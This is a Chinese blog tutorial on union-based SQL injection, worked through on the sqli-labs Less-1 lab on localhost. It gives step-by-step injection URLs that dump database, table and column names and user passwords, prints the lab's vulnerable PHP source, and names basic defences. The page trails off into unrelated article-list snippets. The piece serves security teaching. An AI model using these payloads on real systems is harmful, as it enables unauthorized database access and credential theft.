Wαff1ε
Wαff1ε

SQL注入之union联合注入——sql-lab第一关（非常非常详细的过程）

SQL注入介绍

什么是SQL注入：
SQL注入是（SQLi）是一种注入攻击，可以执行恶意的SQL语句，它通过将任意SQL代码插入数据库查询，使攻击者能够完全控制web应用程序后面的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序安全措施；可以绕过网页或者web应用程序的身份验证和授权，并检索整个SQL数据库的内容；还可以使用SQL注入来添加，修改和删除数据库中的记录。

SQL注入的原理：
用户输入的数据被当作代码拼接到代码语句里面执行，造成一些不可估量的后果

危害：
你的数据被别人窃取，甚至被别人全部删除。

有输入输出的地方，就可能存在安全问题



SQL注入基础

  • 一个可利用的数据库
    information_schema
  • information_schema库的一些可利用的表

SCHEMATA表
schemata表存储该用户创建的所有数据库的库名。要记住该表中记录数据库库名的字段名为SCHEMA_NAME

TABLES表
TABLES表存储该用户创建的所有数据库的库名和表名
           字段名 table_name    table_schema

table_name存储这个数据库对应数据库名的里面的表的值
table_schema是储存了这个数据库所有数据库名的字段

COLUMNS表
COLUMNS表存储该用户创建的所有数据库的库名、表名和字段名
           字段名 table_schema   table_name   column_name

table_schema存的是数据库里面所有的数据库名
table_name对应数据库名的表名
column_name存储的是对应表名的字段名

SQL注入之union联合注入——sql-lab第一关（非常非常详细的过程）_第1张图片
SQL注入之union联合注入——sql-lab第一关（非常非常详细的过程）_第2张图片

mysql函数利用

SQL注入之union联合注入——sql-lab第一关（非常非常详细的过程）_第3张图片
SQL注入之union联合注入——sql-lab第一关（非常非常详细的过程）_第4张图片
SQL注入之union联合注入——sql-lab第一关（非常非常详细的过程）_第5张图片
SQL注入之union联合注入——sql-lab第一关（非常非常详细的过程）_第6张图片SQL注入之union联合注入——sql-lab第一关（非常非常详细的过程）_第7张图片

  • 常见的注释符
    #或 - - 空格 或/**/
    内联注释：
    内联注释的形式：/*！ code /。内联注释可以用于整个SQL语句中，用来执行我们的SQL语句

index.php?id=-15 /* ! UNION*/ /* ! SELECT*/ 1,2,3

/**/在mysql中是多行注释，但是里面如果加了感叹号！那么后面的内容会被执行（内联注释绕过）



SQL注入的种类：

介绍一些常见的几种手法吧！
SQL注入之union联合注入——sql-lab第一关（非常非常详细的过程）_第8张图片

1、union联合注入过程

第一步、测试注入点（一些小tips：利用引号，and 1=1， or 1=1之类的）判断是字符型还是数字型
第二步、利用order by查表的列数
第三步、如有回显，找到回显位（回显，就是显示正在执行的批处理命令及执行的结果等）
第四步、利用union select 爆库、爆表、爆字段名、爆值

接下来以sql-lab第一关来演示一下union联合注入

sql-lab第一关：

SQL注入之union联合注入——sql-lab第一关（非常非常详细的过程）_第9张图片
输入id=1——》http://127.0.0.1/sqli/Less-1/?id=1
SQL注入之union联合注入——sql-lab第一关（非常非常详细的过程）_第10张图片
step1、测试注入点（一些小tips：利用引号，and 1=1， or 1=1之类的）判断是字符型还是数字型

当加引号时：http://127.0.0.1/sqli/Less-1/?id=1’——》报错
在这里插入图片描述
当单引号后面添加注释符时：http://127.0.0.1/sqli/Less-1/?id=1%’ - -+（+表示空格） ——》成功，有回显
在这里插入图片描述
从这就可以判断它是一个字符型的，并且存在sql注入

step2、利用order by查表的列数

看一下表回显的列数，从1开始查起：http://127.0.0.1/sqli/Less-1/?id=1‘ order by --+
order by 1/2/3的时候都会成功回显（/表示或）
当输入order by 4的时候：
SQL注入之union联合注入——sql-lab第一关（非常非常详细的过程）_第11张图片
没有第四列，所以可以判断这个表有三列

step3、如有回显，找到回显位（回显位就是能够显示你查询信息的地方）

利用union select找回显位：
在这里插入图片描述
这里为什么是id=-1？因为id=-1时返回的是一张空表
然后用union select联合查询1,2,3它也会返回一张1,2，3的表，一张空表和一张带有1,2，3的表进行拼接，就会返回后面这张表（要保证前后两张表列数是一样的，这也是为什么要用order by 查询这张表有多少列的原因）
SQL注入之union联合注入——sql-lab第一关（非常非常详细的过程）_第12张图片
可以看到2和3这个位置可以回显我们的信息的

step4、利用union select 暴库、爆表、爆字段名、爆值

先爆库
利用database（）来返回数据库（写在2或3的位置上都可以）
http://127.0.0.1/sqli/Less-1/?id=1‘ order by 1,2,database() --+
SQL注入之union联合注入——sql-lab第一关（非常非常详细的过程）_第13张图片
如果写成http://127.0.0.1/sqli/Less-1/?id=1‘ order by 1,database()，3 --+
SQL注入之union联合注入——sql-lab第一关（非常非常详细的过程）_第14张图片

可以发现它的数据库是security，找到它数据库名字之后，再去找表名
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+
在这里插入图片描述
由上图可知security这个数据库存放了emails,referers，uagents, users这四张表


下面看一看users这个表有哪些字段名
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(column_name)from information_schema.columns where table_name=‘users’ --+
SQL注入之union联合注入——sql-lab第一关（非常非常详细的过程）_第15张图片
由上图可以发现user表中字段名有id，username，password


最后就是去爆这些字段名的数据（对应的值）
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(username) from users - -+
由下图可知有这些用户名在这里插入图片描述
同理要找密码的话：
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(password) from users- -+
在这里插入图片描述

打开第一关后端语言的代码分析一下吧！
SQL注入之union联合注入——sql-lab第一关（非常非常详细的过程）_第16张图片

MYSQL中group_concat()/concat()/concat_ws/substr()函数

SQL注入之union联合注入——sql-lab第一关（非常非常详细的过程）_第17张图片SQL注入之union联合注入——sql-lab第一关（非常非常详细的过程）_第18张图片SQL注入之union联合注入——sql-lab第一关（非常非常详细的过程）_第19张图片SQL注入之union联合注入——sql-lab第一关（非常非常详细的过程）_第20张图片SQL注入之union联合注入——sql-lab第一关（非常非常详细的过程）_第21张图片SQL注入之union联合注入——sql-lab第一关（非常非常详细的过程）_第22张图片SQL注入之union联合注入——sql-lab第一关（非常非常详细的过程）_第23张图片SQL注入之union联合注入——sql-lab第一关（非常非常详细的过程）_第24张图片注意start是从1开始的

打开index.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-1 **Error Based- String**</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">



//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables 
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo "";
  	echo 'Your Login name:'. $row['username'];
  	echo "
";
  	echo 'Your Password:' .$row['password'];
  	echo "";
  	}
	else 
	{
	echo '';
	print_r(mysql_error());
	echo "";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>
</font> </div></br></br></br><center>
<img src="../images/Less-1.jpg" /></center>
</body>
</html>

没有对用户输入的id进行过滤，导致我们想输入什么就输入什么
SQL注入之union联合注入——sql-lab第一关（非常非常详细的过程）_第25张图片
当输入id=-1’的时候把单引号闭合了

$sql=“SELECT * FROM users WHERE id= ’ $id’ union select XXXX #’LIMIT 0,1”;
上面语句中红色部分是我们传进去的值： $ id后面的那个单引号和前面那个单引号形成闭合， #将后面部分注释

防御措施
1、过滤危险字符
2、做到数据和代码分离

2、时间盲注

3、布尔盲注

4、堆叠注入

5、通过sql注入写webshell

你可能感兴趣的:(CyberSecurity)

  • 国内外网络安全政策动态（2024年7月） 网安加社区 网络安全政策动态
    国内网安政策动态1.《网络安全物联网安全与隐私家庭物联网指南》正式发布7月1日，我国牵头提出的国际标准ISO/IEC27403:2024《网络安全物联网安全与隐私家庭物联网指南》（Cybersecurity–IoTsecurityandprivacy–GuidelinesforIoT-domotics）正式发布。1.《网络安全物联网安全与隐私家庭物联网指南》正式发布7月1日，我国牵头提出的国际标准
  • 单词向量化 西域记
    1.使用CountVectorizer将文本转化为向量fromsklearn.feature_extraction.textimportCountVectorizervect=CountVectorizer()dialog=['Ihaveaddictedintocybersecurityforyears']vect.fit(dialog)print(vect.vocabulary_)输出结果是一个
  • 十大新兴网络安全威胁（2024版） 汇智知了堂 web安全安全网络安全网络
    2024年，网络安全领域面临着前所未有的挑战，因为网络犯罪规模化和新兴网络威胁的迅速增长使得防御者感到压力巨大。根据CybersecurityVentures的预测，到2024年底，全球网络攻击可能造成的经济损失将高达10.5万亿美元，这意味着网络犯罪已经成为全球第三大经济体。GoUpSec分析了2024年的十大新兴安全威胁和风险趋势：云集中风险：2023年11月，阿里云全球性停机事故引发了对公有
  • 喜讯！云起无垠上榜《CCSIP 2023中国网络安全行业全景册（第六版）》 网络安全
    近日，FreeBuf咨询正式发布了《CCSIP（ChinaCyberSecurityIndustryPanorama）2023中国网络安全行业全景册（第六版）》，云起无垠作为AI赋能软件供应链安全引领者，凭借专业的技术实力成功入选2大类6个细分领域。此次入选既是对云起无垠在网络安全领域专业能力的肯定，也代表了对其未来发展前景和战略布局的认可。本次全景册以PDR网络安全模型为基础，并参考IPDRR安
  • 【ACM独立出版】欲投从速！- 第三届网络安全、人工智能与数字经济国际学术会议（CSAIDE 2024） 艾思科蓝-何老师【H8053】 计算机方向的国际学术会议人工智能国际学术会议人工智能安全网络安全自然语言处理
    #先投稿，先送审#ACM独立出版#第三届网络安全、人工智能与数字经济国际学术会议（CSAIDE2024）20243rdInternationalConferenceonCyberSecurity,ArtificialIntelligenceandDigitalEconomy2024年3月8-10日|中国济南会议官网：www.csaide.net最后截稿时间：2024年2月26日快速通道：*参会报名
  • 文件包含知识点详细总结 22的卡卡 GITBOOKCTF文件包含漏洞
    如果想看图片和观感更好的话，可以直接去我的github或者gitbookgithub：https://github.com/kakaandhanhan/cybersecurity_knowledge_book-gitbook.22kaka.fungitbook：http://22kaka.fundescription:这里将通过参考文章和做题一起进行总结，并且文件包含漏洞，很多都利用了文件上传漏洞
  • PHP特性知识点总结 22的卡卡 GITBOOKphpCTFphp特性
    如果想观感更好看到图片，可以去我的gitbook或者github去看github：https://github.com/kakaandhanhan/cybersecurity_knowledge_book-gitbook.22kaka.fungitbook：http://22kaka.fundescription:专门出的关于php的特性比较，后面好像也有java的特性。PHP特性知识点总结（1）
  • CTFSHOW web 89-100 22的卡卡 GITBOOK前端安全ctfshow
    这边建议去我的gitbook或者github看观感更好（图片更完整）github:https://github.com/kakaandhanhan/cybersecurity_knowledge_book-gitbook.22kaka.fungitbook:http://22kaka.funCTFSHOWPHP特性（1）WEB89①代码解释
  • 有关网络安全的课程学习网页 Passion-优 学习
    1.思科网络学院免费学习skillsforall的课程课程链接：IntroductiontoCybersecuritybyCisco:FreeOnlineCourse(skillsforall.com)2.斯坦福大学计算机和网络安全基础该证书对于初学者来说最有价值，它由最著名的大学之一斯坦福大学提供。您可以免费学习它。它提供了有关安全基础知识、计算机网络及其执行方式的基本概念。课程链接：Cyber
  • RCE（命令执行）知识点总结最详细 22的卡卡 GITBOOK代码执行CTFWEB
    description:这里是CTF做题时常见的会遇见的RCE的漏洞知识点总结。如果你觉得写得好并且想看更多web知识的话可以去gitbook.22kaka.fun去看，上面是我写的一本关于web学习的一个gitbook，当然如果你能去我的github为我的这个项目点亮星星我会感激不尽https://github.com/kakaandhanhan/cybersecurity_knowledge_
  • 2023 年已知被利用最多的十大CWE漏洞排名 华为云PaaS服务小智 安全网络web安全
    作者：Uncle_Tom原文链接：2023年已知被利用最多的十大CWE漏洞排名-云社区-华为云1.2023年已知被利用最多的十大CWE漏洞排名2023年12月14日，CWE的网站上公布了美国网络安全和基础设施安全局(Cybersecurity&InfrastructureSecurityAgency（CISA），简称CISA)，管理的“已知被利用漏洞目录(KnownExploitedVulnera
  • 再获权威认可！亚信安全实力占据CCSIP 2023全景图75个领域 亚信安全官方账号 安全网络web安全大数据网络安全
    近日，FreeBuf咨询正式发布《CCSIP（ChinaCyberSecurityIndustryPanorama）2023中国网络安全行业全景册（第六版）》。本次全景册面向广大国内安全厂商，由厂商自主申报并填写信息征集表，经FreeBuf咨询团队审核后，将符合要求的厂商信息入驻至《CCSIP2023中国网络安全产业全景册（第六版）》，为企业安全建设及产品选型提供参考。本次全景图，亚信安全（含安全
  • 网络安全审计的核心流程与效益分析 知白守黑V web安全网络安全审计安全审计流程漏洞扫描渗透测试风险评估信息收集
    20世纪80年代，美国空军创造了"网络安全（cybersecurity）"一词用于描述计算机网络的保护。1985年，美国空军发表了一篇关于该主题的论文，并首次在公开论坛上使用这一术语。进入20世纪90年代，随着互联网的普及，美国政府成立了美国国家标准与技术研究院(NIST)，负责制定网络安全标准。1997年，NIST出版了第一版关于信息系统安全控制措施的特别出版物(SP)800-53。近年来网络攻
  • “全”实力认可 | 美创科技领跑CCSIP 2023全景图数据安全领域 数据库安全 大数据
    近日，FreeBuf咨询正式发布《CCSIP（ChinaCyberSecurityIndustryPanorama）2023中国网络安全行业全景册（第六版）》。本次全景册面向广大国内安全厂商，由厂商自主申报并填写信息征集表，经FreeBuf咨询团队审核后，将符合要求的厂商信息入驻至《CCSIP2023中国网络安全产业全景册（第六版）》，为企业安全建设及产品选型提供参考。本次发布的全景册分为七大逻辑
  • 谈谈信息安全入门这事儿 CanMeng
    信息安全如何入⻔"这个问题我觉得需要拆成3个部分来回答:信息安全包括什么?什么算入⻔?你要如何学习?☞备注:本文中的信息安全没有特意区分cybersecurity、datasecurity等。No.1信息安全包括什么我个人觉得我是回答不完全这个问题的，只能尽我所能来回答。首先我们来看看知乎上，关于"信息安全如何入⻔"的相关问题都有哪些?1.黑客如何学起？https://www.zhihu.com/
  • 【EI会议征稿通知】第三届网络安全、人工智能与数字经济国际学术会议（CSAIDE 2024） 搞科研的小刘选手 学术会议web安全人工智能安全物联网智慧城市自动化深度学习
    第三届网络安全、人工智能与数字经济国际学术会议（CSAIDE2024）20243rdInternationalConferenceonCyberSecurity,ArtificialIntelligenceandDigitalEconomy第三届网络安全、人工智能与数字经济国际学术会议（CSAIDE2024）将于2024年3月1-3日在中国南京召开。会议将围绕“网络安全、人工智能和数字经济”展开研
  • 【EI会议征稿中|ACM出版】#先投稿，先送审#第三届网络安全、人工智能与数字经济国际学术会议（CSAIDE 2024） 艾思科蓝-何老师【H8053】 Ei稳定检索会议推荐栏目计算机方向的国际学术会议人工智能国际学术会议web安全人工智能安全图像处理
    #先投稿，先送审#ACM出版#第三届网络安全、人工智能与数字经济国际学术会议（CSAIDE2024）20243rdInternationalConferenceonCyberSecurity,ArtificialIntelligenceandDigitalEconomy2024年3月8日-10日|中国济南会议官网：www.csaide.net二轮截稿时间：2023年12月28日大会简介第三届网络安
  • pwn.college使用ssh连接desktop Falling_Asteroid ssh服务器linux
    pwn.collegehttps://pwn.college/ctf学习网站，csdiy有介绍：ASUCSE365:IntroductiontoCybersecurity-CS自学指南(csdiy.wiki)https://csdiy.wiki/%E7%B3%BB%E7%BB%9F%E5%AE%89%E5%85%A8/CSE365/连接其实不需要使用linux，powershell也可以ssh-k
  • ISO/SAE 21434 标准是什么？ 《Road vehicles—Cybersecurity engineering（道路车辆-信息安全工程）》 功能安全那些事儿
    ISO/SAE21434的诞生背景当前随着AI、移动通讯、大数据及物联网等新技术及新基础设施建设的高速发展，汽车，特别是新能源汽车已经不再是单独的交通工具，而逐渐的向智能终端转变。但随着汽车智能化的转变，安全问题更加凸显。如：大量ECU及嵌入式软件的大量使用，大幅度的增加了车辆的复杂度及集成度，直接带来整车的安全风险提高。特别是通过车辆联网带来的网络安全风险，容易被黑客利用漏洞进行攻击，给司乘人员
  • 再获权威认可！亚信安全实力占据CCSIP 2023全景图75个领域 亚信安全官方账号 安全网络web安全大数据人工智能运维网络安全
    近日，FreeBuf咨询正式发布《CCSIP（ChinaCyberSecurityIndustryPanorama）2023中国网络安全行业全景册（第六版）》。本次全景册面向广大国内安全厂商，由厂商自主申报并填写信息征集表，经FreeBuf咨询团队审核后，将符合要求的厂商信息入驻至《CCSIP2023中国网络安全产业全景册（第六版）》，为企业安全建设及产品选型提供参考。本次全景图，亚信安全（含安全
  • 网络安全概述 让人仿佛 web安全安全
    网络安全背景网络空间安全---Cyberspace2003年美国提出网络空间的概念：一个由信息基础设施组成的互相依赖的网络我国官方文件定义：网络空间为继海，陆，空，天以外的第五大人类活动领域通信保密阶段---计算机安全阶段---信息系统安全---网络空间安全APT攻击---高级持续性威胁网络安全（CyberSecurity）是指网络系统的硬件、软件及其系统中的数据受到保护，不因偶然的或者恶意的原因
  • ISO21434标准简介|ASPICE for Cybersecurity标准简介|ISO21434与ASPICE for Cybersecurity的异同-亚远景 亚远景aspice 网络web安全安全汽车
    ISO21434标准简介：ISO21434是一项关于汽车网络安全的国际标准，正式名称为"ISO/SAE21434Roadvehicles–Cybersecurityengineering"。该标准由国际标准化组织（ISO）和美国汽车工程师学会（SAE）联合制定，于2021年8月31日发布。ISO21434旨在指导汽车制造商和相关利益相关者在整个汽车生命周期中管理和缓解汽车网络的网络安全风险。ISO
  • 汽车网络安全dos, someip sun007700 汽车
    汽车CyberSecurity入门之DoS攻防-知乎3、SOME/IP-TP近年来火热地谈论下一代EE架构和SOA的时候，总离不开SOME/IP这个进程间通讯协议。在许多应用场景中，需要通过UDP传输大型的SOME/IP有效载荷。鉴于在以太网上传输数据包的大小限制，SOME/IP-TP是针对有效载荷分段的协议，它将一个大型的消息分割成若干小段发送，然后在接收端再组装起来。2019年Argus研究小
  • 深度机器学习满足网络安全 Threathunter
    来源：deepmachinelearningmeetscybersecurity一、问题1、恶意软件成指数级增长每个小时有超过100k的恶意代码变种产生2、安全防御是一个大数据问题3、坏的行动者具有自动性能够产生大量的恶意代码4、好的行动者不能跟上节奏仍然采用手工的恶意代码检测规则二、解决方案：深度机器学习应用于网络安全训练数据集：数百万的恶意代码存储+深度学习：theano+高性能云计算=安全分
  • 什么是网络安全，如何防范？ IP数据云官方 IP归属地网络安全反欺诈web安全网络安全
    网络安全（CyberSecurity）是指网络系统的硬件、软件及其系统中的数据受到保护，不因偶然的或者恶意的原因而遭受到破坏、更改、泄露，系统连续可靠正常地运行，网络服务不中断。网络安全涵盖了网络设备安全、网络信息安全和网络软件安全等多个领域，主要任务是保护网络的系统和数据不受未经授权的访问、破坏、泄露、更改或者销毁。网络安全需要跨领域的合作，例如计算机科学、数学、法律和通信科学等。网络安全对于个
  • 网络安全试题进阶——附答案 知孤云出岫 网络网络安全
    选择题什么是CSRF攻击的全称？A.Cross-SiteRequestForgeryB.Cross-SiteScriptingC.CredentialSniffingandRetrievalForceD.CyberSecurityandRiskFramework哪种安全攻击利用用户的社交工程，诱使他们点击似乎是合法链接的恶意链接？A.PhishingB.SpoofingC.DDoSD.Ransom
  • 2023年最危险的网络安全威胁 主题模板站 网络安全web安全人工智能安全
    网络安全专家日前分享了他们对2023年最具影响力的威胁载体和网络风险的预测，调研机构的报告揭示了网络安全专家认为在2023年带来重大影响的威胁载体，并就如何最好地应对这些威胁提出了建议。当安全机构CyberSecurityHub在2022年年中调查哪些威胁载体对企业构成最危险的威胁时，75%的网络安全专业人员表示是社交工程和网络钓鱼。自从调查结束以来，Dropbox、Revolut、Twilio、
  • 2024年网络安全面临的新型威胁 程序学到昏 web安全php安全网络microsoft服务器开发语言
    如今，网络犯罪已成为全球“GDP”增长速度惊人的第三大“经济体”。2024年即将来临，网络犯罪规模扩大和新兴网络威胁快速增长，将使防御者面临前所未有的挑战。据CybersecurityVentures预测，到2024年底，全球经济预计将因网络攻击而损失高达10.5万亿美元。这表明，2024年全球网络犯罪损失有望首次突破10万亿美元。面对不断恶化和复杂的威胁态势，如何进行威胁预测和优先级排序成为企业
  • ISC2---CyberSecurity课程笔记---第四章：网络安全 caoxiaoye 安全web安全
    文章目录第四章：网络安全模块1：了解计算机网络(D4.1)WhatisNetworking什么是网络TypesofNetworks网络类型NetworkDevices网络设备OtherNetworkingTerms其他网络术语网络概览NetworkingModels网络模型OpenSystemsInterconnection(OSI)Model开放系统互连（OSI）七层模型Transmission
  • 前方预警！2024年十大新兴网络安全威胁 网安老伯 web安全安全
    2023年勒索软件、供应链攻击、地缘政治冲突与黑客活动主义、国家黑客间谍与APT组织活动成为网络安全的热点话题，生成式人工智能技术的武器化更是给动荡的全球网络安全威胁态势增加了不确定性、不对称性和复杂性。即将到来的2024年，随着网络犯罪的规模化和新兴网络威胁的快速增长，防御者将面临前所未有的艰巨挑战。根据CybersecurityVentures的预测，到2024年底，网络攻击给全球经济造成的损
  • 二分查找排序算法 周凡杨 java二分查找排序算法折半
    一：概念 二分查找又称 折半查找（ 折半搜索/ 二分搜索），优点是比较次数少，查找速度快，平均性能好；其缺点是要求待查表为有序表，且插入删除困难。因此，折半查找方法适用于不经常变动而 查找频繁的有序列表。首先，假设表中元素是按升序排列，将表中间位置记录的关键字与查找关键字比较，如果两者相等，则查找成功；否则利用中间位置记录将表 分成前、后两个子表，如果中间位置记录的关键字大于查找关键字，则进一步
  • java中的BigDecimal bijian1013 javaBigDecimal
            在项目开发过程中出现精度丢失问题，查资料用BigDecimal解决，并发现如下这篇BigDecimal的解决问题的思路和方法很值得学习，特转载。         原文地址：http://blog.csdn.net/ugg/article/de
  • Shell echo命令详解 daizj echoshell
    Shell echo命令 Shell 的 echo 指令与 PHP 的 echo 指令类似，都是用于字符串的输出。命令格式： echo string 您可以使用echo实现更复杂的输出格式控制。 1.显示普通字符串: echo "It is a test" 这里的双引号完全可以省略，以下命令与上面实例效果一致： echo Itis a test 2.显示转义
  • Oracle DBA 简单操作 周凡杨 oracle dba sql
    --执行次数多的SQL select sql_text,executions from (      select sql_text,executions from v$sqlarea order by executions desc      ) where rownum<81;  &nb
  • 画图重绘 朱辉辉33 游戏
      我第一次接触重绘是编写五子棋小游戏的时候，因为游戏里的棋盘是用线绘制的，而这些东西并不在系统自带的重绘里，所以在移动窗体时，棋盘并不会重绘出来。所以我们要重写系统的重绘方法。   在重写系统重绘方法时，我们要注意一定要调用父类的重绘方法，即加上super.paint(g)，因为如果不调用父类的重绘方式，重写后会把父类的重绘覆盖掉，而父类的重绘方法是绘制画布，这样就导致我们
  • 线程之初体验 西蜀石兰 线程
    一直觉得多线程是学Java的一个分水岭，懂多线程才算入门。 之前看《编程思想》的多线程章节，看的云里雾里，知道线程类有哪几个方法，却依旧不知道线程到底是什么？书上都写线程是进程的模块，共享线程的资源，可是这跟多线程编程有毛线的关系，呜呜。。。 线程其实也是用户自定义的任务，不要过多的强调线程的属性，而忽略了线程最基本的属性。 你可以在线程类的run()方法中定义自己的任务，就跟正常的Ja
  • linux集群互相免登陆配置 林鹤霄 linux
    配置ssh免登陆 1、生成秘钥和公钥    ssh-keygen -t rsa 2、提示让你输入，什么都不输，三次回车之后会在~下面的.ssh文件夹中多出两个文件id_rsa 和 id_rsa.pub    其中id_rsa为秘钥，id_rsa.pub为公钥，使用公钥加密的数据只有私钥才能对这些数据解密    c
  • mysql : Lock wait timeout exceeded; try restarting transaction aigo mysql
    原文：http://www.cnblogs.com/freeliver54/archive/2010/09/30/1839042.html   原因是你使用的InnoDB   表类型的时候, 默认参数:innodb_lock_wait_timeout设置锁等待的时间是50s, 因为有的锁等待超过了这个时间,所以抱错.   你可以把这个时间加长,或者优化存储
  • Socket编程 基本的聊天实现。 alleni123 socket
    public class Server { //用来存储所有连接上来的客户 private List<ServerThread> clients; public static void main(String[] args) { Server s = new Server(); s.startServer(9988); } publi
  • 多线程监听器事件模式(一个简单的例子) 百合不是茶 线程监听模式
        多线程的事件监听器模式   监听器时间模式经常与多线程使用,在多线程中如何知道我的线程正在执行那什么内容,可以通过时间监听器模式得到        创建多线程的事件监听器模式 思路:    1, 创建线程并启动,在创建线程的位置设置一个标记     2,创建队
  • spring InitializingBean接口 bijian1013 javaspring
    spring的事务的TransactionTemplate，其源码如下： public class TransactionTemplate extends DefaultTransactionDefinition implements TransactionOperations, InitializingBean{ ... } TransactionTemplate继承了DefaultT
  • Oracle中询表的权限被授予给了哪些用户 bijian1013 oracle数据库权限
            Oracle查询表将权限赋给了哪些用户的SQL，以备查用。 select t.table_name as "表名", t.grantee as "被授权的属组", t.owner as "对象所在的属组"
  • 【Struts2五】Struts2 参数传值 bit1129 struts2
    Struts2中参数传值的3种情况 1.请求参数绑定到Action的实例字段上 2.Action将值传递到转发的视图上 3.Action将值传递到重定向的视图上   一、请求参数绑定到Action的实例字段上以及Action将值传递到转发的视图上 Struts可以自动将请求URL中的请求参数或者表单提交的参数绑定到Action定义的实例字段上，绑定的规则使用ognl表达式语言
  • 【Kafka十四】关于auto.offset.reset[Q/A] bit1129 kafka
    I got serveral questions about  auto.offset.reset. This configuration parameter governs how  consumer read the message from  Kafka when  there is no initial offset in ZooKeeper or
  • nginx gzip压缩配置 ronin47 nginx gzip 压缩范例
    nginx gzip压缩配置 更多 0 nginx gzip 配置   随着nginx的发展，越来越多的网站使用nginx，因此nginx的优化变得越来越重要，今天我们来看看nginx的gzip压缩到底是怎么压缩的呢？ gzip(GNU-ZIP)是一种压缩技术。经过gzip压缩后页面大小可以变为原来的30%甚至更小，这样，用
  • java-13.输入一个单向链表，输出该链表中倒数第 k 个节点 bylijinnan java
    two cursors. Make the first cursor go K steps first. /* * 第 13 题：题目：输入一个单向链表，输出该链表中倒数第 k 个节点 */ public void displayKthItemsBackWard(ListNode head,int k){ ListNode p1=head,p2=head;
  • Spring源码学习-JdbcTemplate queryForObject bylijinnan javaspring
    JdbcTemplate中有两个可能会混淆的queryForObject方法： 1. Object queryForObject(String sql, Object[] args, Class requiredType) 2. Object queryForObject(String sql, Object[] args, RowMapper rowMapper) 第1个方法是只查
  • [冰川时代]在冰川时代,我们需要什么样的技术? comsci 技术
         看美国那边的气候情况....我有个感觉...是不是要进入小冰期了?      那么在小冰期里面...我们的户外活动肯定会出现很多问题...在室内呆着的情况会非常多...怎么在室内呆着而不发闷...怎么用最低的电力保证室内的温度.....这都需要技术手段...   &nb
  • js 获取浏览器型号 cuityang js浏览器
    根据浏览器获取iphone和apk的下载地址 <!DOCTYPE html> <html> <head>     <meta charset="utf-8" content="text/html"/>     <meta name=
  • C# socks5详解 转 dalan_123 socketC#
    http://www.cnblogs.com/zhujiechang/archive/2008/10/21/1316308.html  这里主要讲的是用.NET实现基于Socket5下面的代理协议进行客户端的通讯，Socket4的实现是类似的，注意的事，这里不是讲用C#实现一个代理服务器，因为实现一个代理服务器需要实现很多协议，头大，而且现在市面上有很多现成的代理服务器用，性能又好，
  • 运维 Centos问题汇总 dcj3sjt126com 云主机
    一、sh 脚本不执行的原因 sh脚本不执行的原因 只有2个 1.权限不够 2.sh脚本里路径没写完整。   二、解决You have new mail in /var/spool/mail/root 修改/usr/share/logwatch/default.conf/logwatch.conf配置文件 MailTo = MailFrom   三、查询连接数
  • Yii防注入攻击笔记 dcj3sjt126com sqlWEB安全yii
    网站表单有注入漏洞须对所有用户输入的内容进行个过滤和检查，可以使用正则表达式或者直接输入字符判断，大部分是只允许输入字母和数字的，其它字符度不允许；对于内容复杂表单的内容，应该对html和script的符号进行转义替换：尤其是<,>,',"",&这几个符号 这里有个转义对照表： http://blog.csdn.net/xinzhu1990/articl
  • MongoDB简介[一] eksliang mongodbMongoDB简介
    MongoDB简介 转载请出自出处：http://eksliang.iteye.com/blog/2173288 1.1易于使用        MongoDB是一个面向文档的数据库，而不是关系型数据库。与关系型数据库相比，面向文档的数据库不再有行的概念，取而代之的是更为灵活的“文档”模型。        另外，不
  • zookeeper windows 入门安装和测试 greemranqq zookeeper安装分布式
    一、序言       以下是我对zookeeper 的一些理解：      zookeeper 作为一个服务注册信息存储的管理工具，好吧，这样说得很抽象，我们举个“栗子”。       栗子1号：       假设我是一家KTV的老板，我同时拥有5家KTV，我肯定得时刻监视
  • Spring之使用事务缘由(2-注解实现) ihuning spring
      Spring事务注解实现   1. 依赖包：     1.1 spring包：           spring-beans-4.0.0.RELEASE.jar           spring-context-4.0.0.
  • iOS App Launch Option 啸笑天 option
    iOS 程序启动时总会调用application:didFinishLaunchingWithOptions:，其中第二个参数launchOptions为NSDictionary类型的对象，里面存储有此程序启动的原因。   launchOptions中的可能键值见UIApplication Class Reference的Launch Options Keys节 。 1、若用户直接
  • jdk与jre的区别（_） macroli javajvmjdk
    简单的说JDK是面向开发人员使用的SDK，它提供了Java的开发环境和运行环境。SDK是Software Development Kit 一般指软件开发包，可以包括函数库、编译程序等。  JDK就是Java Development Kit JRE是Java Runtime Enviroment是指Java的运行环境，是面向Java程序的使用者，而不是开发者。 如果安装了JDK，会发同你
  • Updates were rejected because the tip of your current branch is behind qiaolevip 学习永无止境每天进步一点点众观千象git
    $ git push joe prod-2295-1 To [email protected]:joe.le/dr-frontend.git ! [rejected] prod-2295-1 -> prod-2295-1 (non-fast-forward) error: failed to push some refs to '[email protected]
  • [一起学Hive]之十四-Hive的元数据表结构详解 superlxw1234 hivehive元数据结构
    关键字：Hive元数据、Hive元数据表结构   之前在 “[一起学Hive]之一–Hive概述，Hive是什么”中介绍过，Hive自己维护了一套元数据，用户通过HQL查询时候，Hive首先需要结合元数据，将HQL翻译成MapReduce去执行。 本文介绍一下Hive元数据中重要的一些表结构及用途，以Hive0.13为例。   文章最后面，会以一个示例来全面了解一下，
  • Spring 3.2.14，4.1.7，4.2.RC2发布 wiselyman Spring 3
